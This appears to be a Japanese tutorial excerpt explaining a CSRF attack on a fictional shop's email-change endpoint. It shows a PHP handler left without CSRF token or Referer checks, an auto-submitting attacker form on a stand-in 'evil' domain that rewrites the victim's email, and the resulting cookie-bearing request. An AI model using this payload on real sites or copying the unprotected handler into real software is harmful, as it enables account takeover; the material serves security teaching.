CSRF — メールアドレス変更フォームへの攻撃

// マイページのメール変更エンドポイント
// POST /account/email
$user = get_user_from_session_cookie($_COOKIE['session']);
$user->email = $_POST['email'];
$user->save();
// ↑ Cookie だけで認証、CSRF Token も Referer も検証していない

セッション Cookie で「誰のリクエストか」は確認するが、「そのリクエストが本人の意図したものか」は確認していません。攻撃者の罠サイトから送られたリクエストでも、Cookie が添付されていれば「本人のリクエスト」と扱ってしまう。

<!-- beauty-news.evil/promo に置かれた HTML -->
<form action="https://shop.utsuroi.example.com/account/email" method="POST">
  <input type="email" name="email" value="attacker@evil.example">
</form>
<script>document.forms[0].submit();</script>

被害者が罠サイトを開くと、JavaScript が即座に form.submit() を実行。ブラウザは shop.utsuroi.example.com への POST に被害者の認証 Cookie を自動添付して送信します。

POST /account/email HTTP/1.1
Host: shop.utsuroi.example.com
Origin: https://beauty-news.evil   ← 攻撃者ドメインから
Cookie: session=store_admin_session_xxx   ← うつろい EC の Cookie が自動添付
Content-Type: application/x-www-form-urlencoded

email=attacker@evil.example